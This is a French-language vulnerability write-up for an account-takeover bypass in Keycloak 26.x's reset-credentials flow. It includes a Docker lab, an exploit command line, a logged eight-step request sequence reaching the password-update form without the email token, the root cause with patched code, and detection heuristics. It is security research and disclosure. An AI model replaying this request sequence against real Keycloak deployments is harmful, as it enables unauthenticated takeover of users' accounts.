
PoC, environnement de test Dockerfile et cause racine issus de l'analyse du diff du patch.
Configuration Docker pour tester les versions de Keycloak 26.x affectées par le contournement du flux reset-credentials. Le laboratoire inclus épingle Keycloak 26.6.2, qui se trouve dans la plage affectée (>26.0 et <26.7.2).
Prérequis : Docker, Docker Compose, Python 3. Testé avec l'image Docker quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
Le fichier compose démarre Keycloak 26.6.2 avec un administrateur temporaire admin/admin-password-for-lab. Créez un realm et un utilisateur de test via la console d'administration ou l'API REST d'administration. Le flux de réinitialisation doit être activé et l'exécution intégrée reset-credential-email doit être accessible.
Exemple d'ATO :
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <realm connu> --username <victime connue> \
--new-password '<mot de passe>' \
--allow-loopback-http-cookie --change-password
L'option loopback-cookie existe uniquement pour ce laboratoire Docker HTTP. Validation / exploitation réussie
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnérable : formulaire de mise à jour du mot de passe atteint sans jeton d'action email
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Prise de contrôle de compte non authentifiée lorsque le mot de passe oublié utilise le flux reset-credentials intégré vulnérable. L'étape de possession de l'email est marquée comme réussie sans consommer son jeton d'action, ce qui fait avancer l'attaquant vers UPDATE_PASSWORD.
Deux défauts de machine à états se combinent :
tryAnotherWay stockait AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true comme booléen global dans la session d'authentification. Il n'était pas lié à l'exécution qui affichait le sélecteur, permettant à un état de sélecteur obsolète d'affecter une autre exécution du flux de réinitialisation.ResetCredentialEmail.action() acceptait toute invocation :@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
Une séquence de flux de réinitialisation conçue avec soin peut donc manipuler l'état du sélecteur/de l'exécution courante et invoquer l'action de l'authentificateur email sans cliquer sur le lien envoyé par email. Keycloak considère l'étape email comme terminée et expose l'exécution de mise à jour du mot de passe pour la victime sélectionnée.
L'email de réinitialisation peut toujours être généré et SEND_RESET_PASSWORD journalisé. La possession de la boîte mail ou du jeton n'est pas requise.
L'état du sélecteur est désormais lié au modèle d'exécution exact :
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
La note est supprimée si elle ne correspond pas à CURRENT_AUTHENTICATION_EXECUTION. Plus important encore, l'action email exige désormais une identité de jeton d'action correspondant à l'utilisateur du flux :
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services vulnérable ; le changement exploitable de l'état du sélecteur a été introduit dans la version 26.0.0.reset-credential-email intégré doit être accessible et lié. La désactivation du mot de passe oublié empêche ce chemin.Keycloak manque d'un événement définitif « jeton email ignoré ». Corrélez le timing du flux et les journaux du proxy inverse :
code_id : SEND_RESET_PASSWORD → UPDATE_PASSWORD en quelques secondestryAnotherWay, immédiatement avant la mise à jour du mot de passeGET /login-actions/action-token intermédiaire, qu'un clic légitime sur l'email généreraitC'est heuristique : un utilisateur ayant déjà l'email ouvert peut réinitialiser rapidement, et l'absence d'événements ne prouve rien lorsque la journalisation/rétention a été désactivée.
La confusion d'état du flux d'authentification + le succès inconditionnel de l'authentificateur contournent un contrôle de possession. Cas de test général : chaque fois qu'une exécution d'authentification peut être revisitée, commutée avec « essayer une autre méthode », ou reprise depuis une ancienne URL, vérifiez que chaque authentificateur revalide sa propre preuve au lieu de se fier à l'état partagé du flux.
Référence du correctif en amont : https://github.com/keycloak/keycloak/pull/51844